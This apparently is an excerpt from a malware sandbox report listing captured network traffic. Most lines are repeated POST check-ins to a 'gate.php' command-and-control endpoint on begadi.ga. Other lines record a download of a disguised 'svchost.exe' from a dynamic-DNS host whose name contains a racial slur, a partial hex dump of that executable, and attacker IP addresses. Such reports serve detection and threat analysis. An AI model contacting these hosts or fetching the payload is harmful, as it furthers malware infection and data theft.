Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 21 Dec 2020 07:33:18 GMTServer: Apache/2.4.34 (Win32) OpenSSL/1.0.2o PHP/5.6.38Last-Modified: Mon, 21 Dec 2020 04:54:47 GMTETag: "8ec00-5b6f241edd261"Accept-Ranges: bytesContent-Length: 584704Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f3 56 b1 8b 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e2 08 00 00 08 00 00 00 00 00 00 1e 01 09 00 00 20 00 00 00 20 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 00 09 00 53 00 00 00 00 20 09 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 e1 08 00 00 20 00 00 00 e2 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a0 05 00 00 00 20 09 00 00 06 00 00 00 e4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 09 00 00 02 00 00 00 ea 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 09 00 00 00 00 00 48 00 00 00 02 00 05 00 e0 d1 06 00 e8 2e 02 00 03 00 00 00 a9 03 00 06 10 56 02 00 d0 7b 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 5d ed 3a 11 eb fd b4 77 bd ed 48 ae 33 e8 90 08 9d 63 b4 61 62 66 1c e5 d7 11 c2 c4 13 13 13 98 c8 89 05 25 1d fd a8 c3 cf 13 08 9f 1f fd 3b 78 3b 78 de 20 40 c3 92 d3 ee 6f 1d 70 92 31 c5 d4 f8 cf ea 1e c7 98 d7 15 47 0b 65 b0 cf 57 d2 e4 40 2b 95 cd 06 51 78 f0 ed 22 8f 42 f4 59 d5 7c 5e bd e8 43 09 b2 95 33 26 04 19 53 b5 08 7e 96 f9 ab 83 aa b2 cb 87 91 e8 c9 2f bd 9d 13 aa 0c 9e 75 76 2f 40 8f f1 69 4d 4d cb 25 09 16 1f e8 f6 27 fc 82 93 f9 eb 09 bd 3d 31 ea 34 7a 94 11 7c c5 29 0d e8 51 5c 0e 4b 55 93 db 16 4d 07 41 7b d8 7c 05 e3 f3 3b b1 12 a4 35 31 c2 46 1b 6c 70 a9 f2 65 16 1c 6e 69 79 11 d3 80 e5 43 a0 a6 d0 11 55 31 5c 4d d4 52 69 86 cb fb 05 de 0a 28 0f dd 89 52 3f e2 88 d5 45 4e 1f 25 1b c2 f6 cf 76 7e 92 1b 6c 80 97 b1 86 95 1f b5 98 23 24 05 1e 14 29 4a 2e 42 3d f6 35 d3 71 ea a4 d0 c1 40 55 d2 47 ee fb f4 b9 10 65 2e aa 63 f1 7a 0b f3 80 fd 84 5a 75 93 1

Source: Joe Sandbox View	IP Address: 103.141.138.119 103.141.138.119
Source: Joe Sandbox View	IP Address: 185.193.143.118 185.193.143.118

Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN
Source: Joe Sandbox View	ASN Name: DIGITALENERGY-ASRU DIGITALENERGY-ASRU

Source: global traffic	HTTP traffic detected: GET /secure/svchost.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: chnesstdyqudusisabadassniggainthestfmv.ydns.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
